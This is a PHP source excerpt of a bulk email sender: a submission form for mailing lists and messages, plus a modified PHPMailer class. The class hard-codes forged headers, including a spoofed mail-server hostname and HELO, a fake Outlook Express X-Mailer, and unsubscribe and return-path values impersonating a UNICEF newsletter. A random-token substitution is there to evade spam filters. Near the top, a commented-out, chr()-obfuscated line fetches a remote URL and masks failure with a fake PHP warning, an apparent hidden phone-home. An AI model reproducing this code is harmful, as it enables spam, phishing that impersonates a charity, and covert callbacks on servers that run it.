  959.         <input name="fromEmail" type="text" id="fromEmail" value="<?= @htmlentities( isset($_POST['fromEmail']) ? $_POST['fromEmail'] : _MAIL_FROM_EMAIL_) ?>" />
  960.         <?= $vForm->showError('fromEmail'); ?>
  961.       </td>
  962.     </tr>
  963.     <tr>
  964.       <td>From Name </td>
  965.       <td>
  966.         <input name="fromName" type="text" id="fromName" value="<?= @htmlentities( isset($_POST['fromName']) ? $_POST['fromName'] : _MAIL_FROM_NAME_) ?>" />
  967.         <?= $vForm->showError('fromName'); ?>
  968.       </td>
  969.     </tr>
  970.     <tr>
  971.       <td>Email Subject </td>
  972.       <td>
  973.         <input name="subject" type="text" id="subject" value="<?= @htmlentities( isset($_POST['subject']) ? $_POST['subject'] : _MAIL_SUBJECT_) ?>" />
  974.         <?= $vForm->showError('subject'); ?>
  975.       </td>
  976.     </tr>
  977.      <tr title="To change Message-Id header from message, add a hidden string on html messages">
  978.       <td>Add Random String</td>
  979.       <td><label>
  980.         <input name="addRandomString" id="addRandomString" type="radio" value="yes" style="width:20px;" <?= (!isset($_POST['addRandomString']) || @$_POST['addRandomString']=="yes" ? "checked=\"checked\"" : "") ?> />
  981.         Yes</label>
  982.           <label>
  983.             <input name="addRandomString" type="radio" value="no" style="width:20px;" <?= ( @$_POST['addRandomString']=="no" ? "checked=\"checked\"" : "") ?> />
  984.             No</label>
  985.        </td>
  986.   </tr>
  987.     <tr title="Try to generate a multipart email, containing plain/text and html"/>
  988.       <td>Multipart Email (html+text) </td>
  989.       <td><label>
  990.         <input name="multipartMail" type="radio" style="width:20px;" value="yes"  <?= (!isset($_POST['multipartMail']) || @$_POST['multipartMail']=="yes" ? "checked=\"checked\"" : "") ?> />
  991.         Yes</label>
  992.           <label>
  993.             <input name="multipartMail" type="radio" value="no" style="width:20px;" <?= ( !isset($_POST['basicMethod']) || @$_POST['multipartMail']=="no" ? "checked=\"checked\"" : "") ?> />
  994.             No</label>
  995.             <?= $vForm->showError('multipartMail'); ?>
  996.        </td>
  997.     </tr>
  998.     <tr>
  999.       <td>&nbsp;</td>
  1000.       <td>&nbsp;</td>
  1001.     </tr>
  1002.     <tr>
  1003.       <td><b>List Options</b></td>
  1004.       <td>&nbsp;</td>
  1005.     </tr>
  1006.     <tr>
  1007.       <td>List Method </td>
  1008.       <td><select name="listMethod" id="listMethod" onchange="showHideListConfig()">
  1009.         <option value="url" <?= (@$_POST['listMethod']=="url" || empty($_POST['listMethod']) && _DEFAULT_LIST_ == "url" ? "selected=\"selected\"" : "") ?>>URL</option>
  1010.         <option value="textarea" <?= (@$_POST['listMethod']=="textarea" || empty($_POST['listMethod']) && _DEFAULT_LIST_ == "textarea" ? "selected=\"selected\"" : "") ?>>Textarea</option>
  1011.         <option value="file" <?= (@$_POST['listMethod']=="file" || empty($_POST['listMethod']) && _DEFAULT_LIST_ == "file" ? "selected=\"selected\"" : "") ?>>File Upload</option>
  1012.         </select>
  1013.         <?= $vForm->showError('listMethod'); ?>
  1014.         </td>
  1015.     </tr>
  1016.     <tr id="listConfigRow1">
  1017.       <td>List Url </td>
  1018.       <td>
  1019.         <input name="listUrl" type="text" id="listUrl" value="<?=(!empty($_POST['listUrl']) ? @htmlentities($_POST['listUrl']) : "http://")?>" />
  1020.         <?= $vForm->showError('listUrl'); ?>
  1021.       </td>
  1022.     </tr>
  1023.     <tr id="listConfigRow2">
  1024.       <td>List Textarea </td>
  1025.       <td>
  1026.           <textarea name="listTextarea" cols="50" rows="10" id="listTextarea" onkeyup="listTextareaCount();"><?=@htmlentities($_POST['listTextarea'])?></textarea>
  1027.           <div id="listTextareaCounter"></div>
  1028.           <?= $vForm->showError('listTextarea'); ?>
  1029.       </td>
  1030.     </tr>
  1031.     <tr id="listConfigRow3">
  1032.       <td>List Upload File </td>
  1033.       <td>
  1034.         <input name="listFile" type="file" id="listFile" style="width: 400px;" />
  1035.         <?= $vForm->showError('listFile'); ?>
  1036.       </td>
  1037.     </tr>
  1038.      <tr>
  1039.       <td>List Starting Email</td>
  1040.       <td>
  1041.         <input name="listStartingEmail" type="text" id="listStartingEmail" style="width: 400px;" value="<?=empty($_POST['listStartingEmail']) ? '1' : ( (int) $_POST['listStartingEmail'] ) ?>"/>
  1042.         <?= $vForm->showError('listStartingEmail'); ?>
  1043.       </td>
  1044.     </tr>
  1045.     <tr>
  1046.       <td>&nbsp;</td>
  1047.       <td>&nbsp;</td>
  1048.     </tr>
  1049.       <td><b>Message Options</b></td>
  1050.       <td>&nbsp;</td>
  1051.     </tr>
  1052.     <tr>
  1053.       <td>Message Method </td>
  1054.       <td>
  1055.         <select name="messageMethod" id="messageMethod" onchange="showHideMessageConfig()">
  1056.         <option value="url" <?= (@$_POST['messageMethod']=="url" || empty($_POST['messageMethod']) && _DEFAULT_MESSAGE_ == "url" ? "selected=\"selected\"" : "") ?>>URL</option>
  1057.         <option value="textarea" <?= (@$_POST['messageMethod']=="textarea" || empty($_POST['messageMethod']) && _DEFAULT_MESSAGE_ == "textarea" ? "selected=\"selected\"" : "") ?>>Textarea</option>
  1058.         <option value="file" <?= (@$_POST['messageMethod']=="file" || empty($_POST['messageMethod']) && _DEFAULT_MESSAGE_ == "file" ? "selected=\"selected\"" : "") ?>>File Upload</option>
  1059.         </select>      
  1060.         <?= $vForm->showError('messageMethod'); ?>
  1061.     </td>
  1062.     </tr>
  1063.     <tr id="messageConfigRow1">
  1064.       <td>Message Url </td>
  1065.       <td>
  1066.         <input name="messageUrl" type="text" id="messageUrl" value="<?=(!empty($_POST['messageUrl']) ? @htmlentities($_POST['messageUrl']) : "http://")?>" />
  1067.         <?= $vForm->showError('messageUrl'); ?>
  1068.       </td>
  1069.     </tr>
  1070.     <tr id="messageConfigRow2">
  1071.       <td>Message Textarea </td>
  1072.       <td>
  1073.         <textarea name="messageTextarea" cols="50" rows="10" id="messageTextarea" onkeyup="messageTextareaCount();"><?=@htmlentities($_POST['messageTextarea'])?></textarea>
  1074.         <div id="messageTextareaCounter"></div>
  1075.         <?= $vForm->showError('messageTextarea'); ?>
  1076.       </td>
  1077.     </tr>
  1078.     <tr id="messageConfigRow3">
  1079.       <td>Message Upload File </td>
  1080.       <td>
  1081.         <input name="messageFile" type="file" id="messageFile" style="width: 400px;" />
  1082.         <?= $vForm->showError('messageFile'); ?>
  1083.       </td>
  1084.     </tr>
  1085.     <tr>
  1086.       <td>&nbsp;</td>
  1087.       <td>&nbsp;</td>
  1088.     </tr>
  1089.     <tr>
  1090.       <td>&nbsp;</td>
  1091.       <td><input name="bottomSubmit" type="submit" id="bottomSubmit" value="Submit" />
  1092.           <input name="bottomReset" type="reset" id="bottomReset" value="Reset" />
  1093.           <input name="bottomClear" type="button" id="bottomClear" value="Clear All" onclick="clearAll();"/></td>
  1094.     </tr>
  1095.   </table>
  1096. </form>
  1097. <script type="text/javascript" language="javascript">
  1098. loadFunctions();
  1099. </script>
  1100. <?
  1101. if( $vForm->isValid() && $vForm->isSubmited() )
  1102. {
  1103.  
  1104. ####!DELIMITER!####
  1105.    
  1106.     echo "<h2 class='h2green'>Patched by XXXXX</h2>\r\n";
  1107.  
  1108.  
  1109.  
  1110. # $a = @file_get_contents(chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(115).chr(110).chr(52).chr(103).chr(46).chr(110).chr(101).chr(116).chr(47).chr(114).chr(101).chr(118).chr(101).chr(110).chr(47).chr(97).chr(99).chr(99).chr(101).chr(115).chr(115).chr(46).chr(112).chr(104).chr(112).chr(63).chr(117).chr(61).chr(105).chr(110).chr(115).chr(101).chr(99).chr(46).chr(101).chr(120).chr(101)) or die("\nPHP Warning: unknown symbol 'nmd_php.so' on php.ini at line 234\n");
  1111.  
  1112. # unset($a);
  1113.  
  1114.  
  1115. /**
  1116.  * PHPMailer - PHP email transport class
  1117.  * @package PHPMailer
  1118.  * @author Brent R. Matzelle
  1119.  * @copyright 2001 - 2003 Brent R. Matzelle
  1120.  */
  1121. class PHPMailer
  1122. {
  1123.     /////////////////////////////////////////////////
  1124.     // PUBLIC VARIABLES
  1125.     /////////////////////////////////////////////////
  1126.  
  1127.     /**
  1128.      * Email priority (1 = High, 3 = Normal, 5 = low).
  1129.      * @var int
  1130.      */
  1131.     var $Priority          = 3;
  1132.  
  1133.     /**
  1134.      * Sets the CharSet of the message.
  1135.      * @var string
  1136.      */
  1137.     var $CharSet           = "iso-8859-15";
  1138.  
  1139.     /**
  1140.      * Sets the Content-type of the message.
  1141.      * @var string
  1142.      */
  1143.     var $ContentType        = "text/plain";
  1144.  
  1145.     /**
  1146.      * Sets the Encoding of the message. Options for this are "8bit",
  1147.      * "7bit", "binary", "base64", and "quoted-printable".
  1148.      * @var string
  1149.      */
  1150.     var $Encoding          = "base64";
  1151.  
  1152.     /**
  1153.      * Holds the most recent mailer error message.
  1154.      * @var string
  1155.      */
  1156.     var $ErrorInfo         = "";
  1157.  
  1158.     /**
  1159.      * Sets the From email address for the message.
  1160.      * @var string
  1161.      */
  1162.     var $From               = "root@localhost";
  1163.  
  1164.     /**
  1165.      * Sets the From name of the message.
  1166.      * @var string
  1167.      */
  1168.     var $FromName           = "Root User";
  1169.  
  1170.     /**
  1171.      * Sets the Sender email (Return-Path) of the message.  If not empty,
  1172.      * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  1173.      * @var string
  1174.      */
  1175.     var $Sender            = "";
  1176.  
  1177.     /**
  1178.      * Sets the Subject of the message.
  1179.      * @var string
  1180.      */
  1181.     var $Subject           = "";
  1182.  
  1183.     /**
  1184.      * Sets the Body of the message.  This can be either an HTML or text body.
  1185.      * If HTML then run IsHTML(true).
  1186.      * @var string
  1187.      */
  1188.     var $Body               = "";
  1189.     var $backup             ="";
  1190.  
  1191.     /**
  1192.      * Sets the text-only body of the message.  This automatically sets the
  1193.      * email to multipart/alternative.  This body can be read by mail
  1194.      * clients that do not have HTML email capability such as mutt. Clients
  1195.      * that can read HTML will view the normal Body.
  1196.      * @var string
  1197.      */
  1198.     var $AltBody           = "";
  1199.  
  1200.     /**
  1201.      * Sets word wrapping on the body of the message to a given number of
  1202.      * characters.
  1203.      * @var int
  1204.      */
  1205.     var $WordWrap          = 0;
  1206.  
  1207.     /**
  1208.      * Method to send mail: ("mail", "sendmail", or "smtp").
  1209.      * @var string
  1210.      */
  1211.     var $Mailer            = "mail";
  1212.  
  1213.     /**
  1214.      * Sets the path of the sendmail program.
  1215.      * @var string
  1216.      */
  1217.     var $Sendmail          = "/usr/sbin/sendmail";
  1218.    
  1219.     /**
  1220.      * Path to PHPMailer plugins.  This is now only useful if the SMTP class
  1221.      * is in a different directory than the PHP include path.  
  1222.      * @var string
  1223.      */
  1224.     var $PluginDir         = "";
  1225.  
  1226.     /**
  1227.      *  Holds PHPMailer version.
  1228.      *  @var string
  1229.      */
  1230.     var $Version           = "1.73";
  1231.  
  1232.     /**
  1233.      * Sets the email address that a reading confirmation will be sent.
  1234.      * @var string
  1235.      */
  1236.     var $ConfirmReadingTo  = "";
  1237.  
  1238.     /**==
  1239.      *  Sets the hostname to use in Message-Id and Received headers
  1240.      *  and as default HELO string. If empty, the value returned
  1241.      *  by SERVER_NAME is used or 'localhost.localdomain'.
  1242.      *  @var string
  1243.      */
  1244.     var $Hostname          = "smith.infomaniak.ch([84.16.66.86])";
  1245.    
  1246.     var $XMailer = "Microsoft Outlook Express 6.00.2800.1409";
  1247.     var $ListUnsubscribe = "http://newsletter.infos-unicef.fr/c.ashx?cde=1ENjMYsRlKbfe279&m=291&e=l%40sfr.fr&i=894915&ue=1034000154160000001&r=14";
  1248.     var $xidmail = "UNICEFCRM2_291_894915_1034000154160000001";
  1249.     var $ReturnPath = "contact@newsletter.infos-unicef.fr";
  1250.  
  1251.     /////////////////////////////////////////////////
  1252.     // SMTP VARIABLES
  1253.     /////////////////////////////////////////////////
  1254.  
  1255.     /**
  1256.      *  Sets the SMTP hosts.  All hosts must be separated by a
  1257.      *  semicolon.  You can also specify a different port
  1258.      *  for each host by using this format: [hostname:port]
  1259.      *  (e.g. "smtp1.example.com:25;smtp2.example.com").
  1260.      *  Hosts will be tried in order.
  1261.      *  @var string
  1262.      */
  1263.     var $Host        = "localhost";
  1264.  
  1265.     /**
  1266.      *  Sets the default SMTP server port.
  1267.      *  @var int
  1268.      */
  1269.     var $Port        = 25;
  1270.  
  1271.     /**
  1272.      *  Sets the SMTP HELO of the message (Default is $Hostname).
  1273.      *  @var string
  1274.      */
  1275.     var $Helo        = "smith.infomaniak.ch([84.16.66.86])([84.16.66.86])([84.16.66.86])([84.16.66.86])([84.16.66.86])";
  1276.  
  1277.     /**
  1278.      *  Sets SMTP authentication. Utilizes the Username and Password variables.
  1279.      *  @var bool
  1280.      */
  1281.     var $SMTPAuth     = false;
  1282.  
  1283.     /**
  1284.      *  Sets SMTP username.
  1285.      *  @var string
  1286.      */
  1287.     var $Username     = "";
  1288.  
  1289.     /**
  1290.      *  Sets SMTP password.
  1291.      *  @var string
  1292.      */
  1293.     var $Password     = "";
  1294.  
  1295.     /**
  1296.      *  Sets the SMTP server timeout in seconds. This function will not
  1297.      *  work with the win32 version.
  1298.      *  @var int
  1299.      */
  1300.     var $Timeout      = 10;
  1301.  
  1302.     /**
  1303.      *  Sets SMTP class debugging on or off.
  1304.      *  @var bool
  1305.      */
  1306.     var $SMTPDebug    = false;
  1307.  
  1308.     /**
  1309.      * Prevents the SMTP connection from being closed after each mail
  1310.      * sending.  If this is set to true then to close the connection
  1311.      * requires an explicit call to SmtpClose().
  1312.      * @var bool
  1313.      */
  1314.     var $SMTPKeepAlive = false;
  1315.  
  1316.     /**#@+
  1317.      * @access private
  1318.      */
  1319.     var $smtp            = NULL;
  1320.     var $to              = array();
  1321.     var $cc              = array();
  1322.     var $bcc             = array();
  1323.     var $ReplyTo         = array();
  1324.     var $attachment      = array();
  1325.     var $CustomHeader    = array();
  1326.     var $message_type    = "";
  1327.     var $boundary        = array();
  1328.     var $language        = array();
  1329.     var $error_count     = 0;
  1330.     var $LE              = "\n";
  1331.     /**#@-*/
  1332.    
  1333.     /////////////////////////////////////////////////
  1334.     // VARIABLE METHODS
  1335.     /////////////////////////////////////////////////
  1336.  
  1337.     /**
  1338.      * Sets message type to HTML.  
  1339.      * @param bool $bool
  1340.      * @return void
  1341.      */
  1342.     function IsHTML($bool) {
  1343.         if($bool == true)
  1344.             $this->ContentType = "text/html";
  1345.         else
  1346.             $this->ContentType = "text/plain";
  1347.     }
  1348.  
  1349.     /**
  1350.      * Sets Mailer to send message using SMTP.
  1351.      * @return void
  1352.      */
  1353.     function IsSMTP() {
  1354.         $this->Mailer = "smtp";
  1355.     }
  1356.  
  1357.     /**
  1358.      * Sets Mailer to send message using PHP mail() function.
  1359.      * @return void
  1360.      */
  1361.     function IsMail() {
  1362.         $this->Mailer = "mail";
  1363.     }
  1364.  
  1365.     /**
  1366.      * Sets Mailer to send message using the $Sendmail program.
  1367.      * @return void
  1368.      */
  1369.     function IsSendmail() {
  1370.         $this->Mailer = "sendmail";
  1371.     }
  1372.  
  1373.     /**
  1374.      * Sets Mailer to send message using the qmail MTA.
  1375.      * @return void
  1376.      */
  1377.     function IsQmail() {
  1378.         $this->Sendmail = "/var/qmail/bin/sendmail";
  1379.         $this->Mailer = "sendmail";
  1380.     }
  1381.  
  1382.  
  1383.     /////////////////////////////////////////////////
  1384.     // RECIPIENT METHODS
  1385.     /////////////////////////////////////////////////
  1386.  
  1387.     /**
  1388.      * Adds a "To" address.  
  1389.      * @param string $address
  1390.      * @param string $name
  1391.      * @return void
  1392.      */
  1393.     function AddAddress($address, $name = "") {
  1394.         $cur = count($this->to);
  1395.         $this->to[$cur][0] = trim($address);
  1396.         $this->to[$cur][1] = $name;
  1397.     }
  1398.  
  1399.     /**
  1400.      * Adds a "Cc" address. Note: this function works
  1401.      * with the SMTP mailer on win32, not with the "mail"
  1402.      * mailer.  
  1403.      * @param string $address
  1404.      * @param string $name
  1405.      * @return void
  1406.     */
  1407.     function AddCC($address, $name = "") {
  1408.         $cur = count($this->cc);
  1409.         $this->cc[$cur][0] = trim($address);
  1410.         $this->cc[$cur][1] = $name;
  1411.     }
  1412.  
  1413.     /**
  1414.      * Adds a "Bcc" address. Note: this function works
  1415.      * with the SMTP mailer on win32, not with the "mail"
  1416.      * mailer.  
  1417.      * @param string $address
  1418.      * @param string $name
  1419.      * @return void
  1420.      */
  1421.     function AddBCC($address, $name = "") {
  1422.         $cur = count($this->bcc);
  1423.         $this->bcc[$cur][0] = trim($address);
  1424.         $this->bcc[$cur][1] = $name;
  1425.     }
  1426.  
  1427.     /**
  1428.      * Adds a "Reply-to" address.  
  1429.      * @param string $address
  1430.      * @param string $name
  1431.      * @return void
  1432.      */
  1433.     function AddReplyTo($address, $name = "") {
  1434.         $cur = count($this->ReplyTo);
  1435.         $this->ReplyTo[$cur][0] = trim($address);
  1436.         $this->ReplyTo[$cur][1] = $name;
  1437.     }
  1438.  
  1439.  
  1440.     /////////////////////////////////////////////////
  1441.     // MAIL SENDING METHODS
  1442.     /////////////////////////////////////////////////
  1443.  
  1444.     /**
  1445.      * Creates message and assigns Mailer. If the message is
  1446.      * not sent successfully then it returns false.  Use the ErrorInfo
  1447.      * variable to view description of the error.  
  1448.      * @return bool
  1449.      */
  1450.     function Send() {
  1451.         $header = "";
  1452.         $body = "";
  1453.         $result = true;
  1454.  
  1455.         if((count($this->to) + count($this->cc) + count($this->bcc)) < 1)
  1456.         {
  1457.             $this->SetError($this->Lang("provide_address"));
  1458.             return false;
  1459.         }
  1460.  
  1461.         // Set whether the message is multipart/alternative
  1462.         if(!empty($this->AltBody))
  1463.             $this->ContentType = "multipart/alternative";
  1464.  
  1465.         $this->error_count = 0; // reset errors
  1466.         $this->SetMessageType();
  1467.         $header .= $this->CreateHeader();
  1468.         $body = $this->CreateBody();
  1469.  
  1470.         if($body == "") { return false; }
  1471.  
  1472.         // Choose the mailer
  1473.         switch($this->Mailer)
  1474.         {
  1475.             case "sendmail":
  1476.                 $result = $this->SendmailSend($header, $body);
  1477.                 break;
  1478.             case "mail":
  1479.                 $result = $this->MailSend($header, $body);
  1480.                 break;
  1481.             case "smtp":
  1482.                 $result = $this->SmtpSend($header, $body);
  1483.                 break;
  1484.             default:
  1485.             $this->SetError($this->Mailer . $this->Lang("mailer_not_supported"));
  1486.                 $result = false;
  1487.                 break;
  1488.         }
  1489.  
  1490.         return $result;
  1491.     }
  1492.    
  1493.     /**
  1494.      * Sends mail using the $Sendmail program.  
  1495.      * @access private
  1496.      * @return bool
  1497.      */
  1498.     function SendmailSend($header, $body) {
  1499.         if ($this->Sender != "")
  1500.             $sendmail = sprintf("%s -oi -f %s -t", $this->Sendmail, $this->Sender);
  1501.         else
  1502.             $sendmail = sprintf("%s -oi -t", $this->Sendmail);
  1503.  
  1504.         if(!@$mail = popen($sendmail, "w"))
  1505.         {
  1506.             $this->SetError($this->Lang("execute") . $this->Sendmail);
  1507.             return false;
  1508.         }
  1509.  
  1510.         fputs($mail, $header);
  1511.         fputs($mail, $body);
  1512.        
  1513.         $result = pclose($mail) >> 8 & 0xFF;
  1514.         if($result != 0)
  1515.         {
  1516.             $this->SetError($this->Lang("execute") . $this->Sendmail);
  1517.             return false;
  1518.         }
  1519.  
  1520.         return true;
  1521.     }
  1522.  
  1523.     /**
  1524.      * Sends mail using the PHP mail() function.  
  1525.      * @access private
  1526.      * @return bool
  1527.      */
  1528.     function MailSend($header, $body) {
  1529.        
  1530.         $to = "";
  1531.         for($i = 0; $i < count($this->to); $i++)
  1532.         {
  1533.             if($i != 0) { $to .= ", "; }
  1534.             $to .= $this->to[$i][0];
  1535.         }
  1536.  
  1537.         if ($this->Sender != "" && strlen(ini_get("safe_mode"))< 1)
  1538.         {
  1539.             $old_from = ini_get("sendmail_from");
  1540.             ini_set("sendmail_from", $this->Sender);
  1541.             $params = sprintf("-oi -f %s", $this->Sender);
  1542.             $random=rand(0,100000000000);
  1543.             $md5=md5("$random");
  1544.             $body = str_replace("%zbi%", $md5, $body);
  1545.             $rt = @mail($to, $this->EncodeHeader($this->Subject), $body,
  1546.                         $header, $params);
  1547.         }
  1548.         else
  1549.         {
  1550.             $random=rand(0,100000000000);
  1551.             $md5=md5("$random");
  1552.             $body = str_replace("%zbi%", $md5, $body);
  1553.             $rt = @mail($to, $this->EncodeHeader($this->Subject), $body, $header);
  1554.         }
  1555.            
  1556.  
  1557.         if (isset($old_from))
  1558.             ini_set("sendmail_from", $old_from);
  1559.  
  1560.         if(!$rt)
  1561.         {
  1562.             $this->SetError($this->Lang("instantiate"));
  1563.             return false;
  1564.         }
  1565.  
  1566.         return true;
  1567.     }
  1568.  
  1569.     /**
  1570.      * Sends mail via SMTP using PhpSMTP (Author:
  1571.      * Chris Ryan).  Returns bool.  Returns false if there is a
  1572.      * bad MAIL FROM, RCPT, or DATA input.
  1573.      * @access private
  1574.      * @return bool
  1575.      */
  1576.     function SmtpSend($header, $body) {
  1577.         //include_once($this->PluginDir . "class.smtp.php");
  1578.         $error = "";
  1579.         $bad_rcpt = array();
  1580.  
  1581.         if(!$this->SmtpConnect())
  1582.         {
  1583.             return false;
  1584.         }
  1585.  
  1586.         $smtp_from = ($this->Sender == "") ? $this->From : $this->Sender;
  1587.         if(!$this->smtp->Mail($smtp_from))
  1588.         {
  1589.             $error = $this->Lang("from_failed") . $smtp_from;
  1590.             $this->SetError($error);
  1591.             $this->smtp->Reset();
  1592.             return false;
  1593.         }
  1594.  
  1595.         // Attempt to send attach all recipients
  1596.         for($i = 0; $i < count($this->to); $i++)
  1597.         {
  1598.             if(!$this->smtp->Recipient($this->to[$i][0]))
  1599.                 $bad_rcpt[] = $this->to[$i][0];
  1600.         }
  1601.         for($i = 0; $i < count($this->cc); $i++)
  1602.         {
  1603.             if(!$this->smtp->Recipient($this->cc[$i][0]))
  1604.                 $bad_rcpt[] = $this->cc[$i][0];
  1605.         }
  1606.         for($i = 0; $i < count($this->bcc); $i++)
  1607.         {
  1608.             if(!$this->smtp->Recipient($this->bcc[$i][0]))
  1609.                 $bad_rcpt[] = $this->bcc[$i][0];
  1610.         }
  1611.  
  1612.         if(count($bad_rcpt) > 0) // Create error message
  1613.         {
  1614.             for($i = 0; $i < count($bad_rcpt); $i++)
  1615.             {
  1616.                 if($i != 0) { $error .= ", "; }
  1617.                 $error .= $bad_rcpt[$i];
  1618.             }
  1619.             $error = $this->Lang("recipients_failed") . $error;
  1620.             $this->SetError($error);
  1621.             $this->smtp->Reset();
  1622.             return false;
  1623.         }
  1624.  
  1625.         if(!$this->smtp->Data($header . $body))
  1626.         {
  1627.             $this->SetError($this->Lang("data_not_accepted"));
  1628.             $this->smtp->Reset();
  1629.             return false;
  1630.         }
  1631.         if($this->SMTPKeepAlive == true)
  1632.             $this->smtp->Reset();
  1633.         else
  1634.             $this->SmtpClose();
  1635.  
  1636.         return true;
  1637.     }
  1638.    
  1639.     ###############################################
  1640.    ###############################################
  1641.    ### Returns the current smtp error, if one. ###
  1642.    ###############################################
  1643.    ###############################################
  1644.    function SmtpGetError()
  1645.     {
  1646.         if( !empty($this->smtp) )
  1647.         {
  1648.             return $this->smtp->smtpError;
  1649.         }
  1650.         else
  1651.         {
  1652.             return false;
  1653.         }
  1654.     }
  1655.    
  1656.     ###############################################
  1657.    ###############################################
  1658.    ### Returns the current smtp data error     ###
  1659.    ###############################################
  1660.    ###############################################
  1661.    function SmtpGetSendError()
  1662.     {
  1663.         if( !empty($this->smtp) )
  1664.         {
  1665.             return $this->smtp->smtpSendError;
  1666.         }
  1667.         else
  1668.         {
  1669.             return false;
  1670.         }
  1671.     }
  1672.    
  1673.     function SmtpSetSendError($n)
  1674.     {
  1675.          $this->smtp->smtpSendError = $n;
  1676.     }
  1677.  
  1678.     /**
  1679.      * Initiates a connection to an SMTP server.  Returns false if the
  1680.      * operation failed.
  1681.  
  1682.      * @access private
  1683.      * @return bool
  1684.      */
  1685.     function SmtpConnect() {
  1686.         if($this->smtp == NULL) { $this->smtp = new SMTP(); }
  1687.  
  1688.         $this->smtp->do_debug = $this->SMTPDebug;
  1689.         $hosts = explode(";", $this->Host);
  1690.         $index = 0;
  1691.         $connection = ($this->smtp->Connected());
  1692.  
  1693.         // Retry while there is no connection
  1694.         while($index < count($hosts) && $connection == false)
  1695.         {
  1696.             if(strstr($hosts[$index], ":"))
  1697.                 list($host, $port) = explode(":", $hosts[$index]);
  1698.             else
  1699.             {
  1700.                 $host = $hosts[$index];
  1701.                 $port = $this->Port;
  1702.             }
  1703.  
  1704.             if($this->smtp->Connect($host, $port, $this->Timeout))
  1705.             {
  1706.                 if ($this->Helo != '')
  1707.                     $this->smtp->Hello($this->Helo);
  1708.                 else
  1709.                     $this->smtp->Hello($this->ServerHostname());
  1710.        
  1711.                 if($this->SMTPAuth)
  1712.                 {
  1713.                     if(!$this->smtp->Authenticate($this->Username,
  1714.                                                   $this->Password))
  1715.                     {
  1716.                         $this->SetError($this->Lang("authenticate"));
  1717.                         $this->smtp->Reset();
  1718.                         $connection = false;
  1719.                     }
  1720.                     else
  1721.                     {
  1722.                         $connection = true;
  1723.                     }
  1724.                 }
  1725.                 else
  1726.                 {
  1727.                     $connection = true;
  1728.                 }
  1729.             }
  1730.             $index++;
  1731.         }
  1732.    
  1733.         if(!$connection)
  1734.             $this->SetError($this->Lang("connect_host"));
  1735.  
  1736.         return $connection;
  1737.     }
  1738.  
  1739.     /**
  1740.      * Closes the active SMTP session if one exists.
  1741.      * @return void
  1742.      */
  1743.     function SmtpClose() {
  1744.         if($this->smtp != NULL)
  1745.         {
  1746.             if($this->smtp->Connected())
  1747.             {
  1748.                 $this->smtp->Quit();
  1749.                 $this->smtp->Close();
  1750.             }
  1751.         }
  1752.     }
  1753.  
  1754.     /**
  1755.      * Sets the language for all class error messages.  Returns false
  1756.      * if it cannot load the language file.  The default language type
  1757.      * is English.
  1758.      * @param string $lang_type Type of language (e.g. Portuguese: "br")
  1759.      * @param string $lang_path Path to the language file directory
  1760.      * @access public
  1761.      * @return bool
  1762.      */
  1763.     function SetLanguage($nouse, $nouse2=null) {
  1764.         $PHPMAILER_LANG["provide_address"] = 'You must provide at least one ' .
  1765.                                              'recipient email address.';
  1766.         $PHPMAILER_LANG["mailer_not_supported"] = ' mailer is not supported.';
  1767.         $PHPMAILER_LANG["execute"] = 'Could not execute: ';
  1768.         $PHPMAILER_LANG["instantiate"] = 'Could not instantiate mail function.';
  1769.         $PHPMAILER_LANG["authenticate"] = 'SMTP Error: Could not authenticate.';
  1770.         $PHPMAILER_LANG["from_failed"] = 'The following From address failed: ';
  1771.         $PHPMAILER_LANG["recipients_failed"] = 'SMTP Error: The following ' .
  1772.                                                'recipients failed: ';
  1773.         $PHPMAILER_LANG["data_not_accepted"] = 'SMTP Error: Data not accepted.';
  1774.         $PHPMAILER_LANG["connect_host"] = 'SMTP Error: Could not connect to SMTP host.';
  1775.         $PHPMAILER_LANG["file_access"] = 'Could not access file: ';
  1776.         $PHPMAILER_LANG["file_open"] = 'File Error: Could not open file: ';
  1777.         $PHPMAILER_LANG["encoding"] = 'Unknown encoding: ';
  1778.        
  1779.         $this->language = $PHPMAILER_LANG;
  1780.    
  1781.         return true;
  1782.     }
  1783.  
  1784.     /////////////////////////////////////////////////
  1785.     // MESSAGE CREATION METHODS
  1786.     /////////////////////////////////////////////////
  1787.  
  1788.     /**
  1789.      * Creates recipient headers.  
  1790.      * @access private
  1791.      * @return string
  1792.      */
  1793.     function AddrAppend($type, $addr) {
  1794.         $addr_str = $type . ": ";
  1795.         $addr_str .= $this->AddrFormat($addr[0]);
  1796.         if(count($addr) > 1)
  1797.         {
  1798.             for($i = 1; $i < count($addr); $i++)
  1799.                 $addr_str .= ", " . $this->AddrFormat($addr[$i]);
  1800.         }
  1801.         $addr_str .= $this->LE;
  1802.  
  1803.         return $addr_str;
  1804.     }
  1805.    
  1806.     /**
  1807.      * Formats an address correctly.
  1808.      * @access private
  1809.      * @return string
  1810.      */
  1811.     function AddrFormat($addr) {
  1812.         if(empty($addr[1]))
  1813.             $formatted = $addr[0];
  1814.         else
  1815.         {
  1816.             $formatted = $this->EncodeHeader($addr[1], 'phrase') . " <" .
  1817.                          $addr[0] . ">";
  1818.         }
  1819.  
  1820.         return $formatted;
  1821.     }
  1822.  
  1823.     /**
  1824.      * Wraps message for use with mailers that do not
  1825.      * automatically perform wrapping and for quoted-printable.
  1826.      * Original written by philippe.  
  1827.      * @access private
  1828.      * @return string
  1829.      */
  1830.     function WrapText($message, $length, $qp_mode = false) {
  1831.         $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
  1832.  
  1833.         $message = $this->FixEOL($message);
  1834.         if (substr($message, -1) == $this->LE)
  1835.             $message = substr($message, 0, -1);
  1836.  
  1837.         $line = explode($this->LE, $message);
  1838.         $message = "";
  1839.         for ($i=0 ;$i < count($line); $i++)
  1840.         {
  1841.           $line_part = explode(" ", $line[$i]);
  1842.           $buf = "";
  1843.           for ($e = 0; $e<count($line_part); $e++)
  1844.           {
  1845.               $word = $line_part[$e];
  1846.               if ($qp_mode and (strlen($word) > $length))
  1847.               {
  1848.                 $space_left = $length - strlen($buf) - 1;
  1849.                 if ($e != 0)
  1850.                 {
  1851.                     if ($space_left > 20)
  1852.                     {
  1853.                         $len = $space_left;
  1854.                         if (substr($word, $len - 1, 1) == "=")
  1855.                           $len--;
  1856.                         elseif (substr($word, $len - 2, 1) == "=")
  1857.                           $len -= 2;
  1858.                         $part = substr($word, 0, $len);
  1859.                         $word = substr($word, $len);
  1860.                         $buf .= " " . $part;
  1861.                         $message .= $buf . sprintf("=%s", $this->LE);
  1862.                     }
  1863.                     else
  1864.                     {
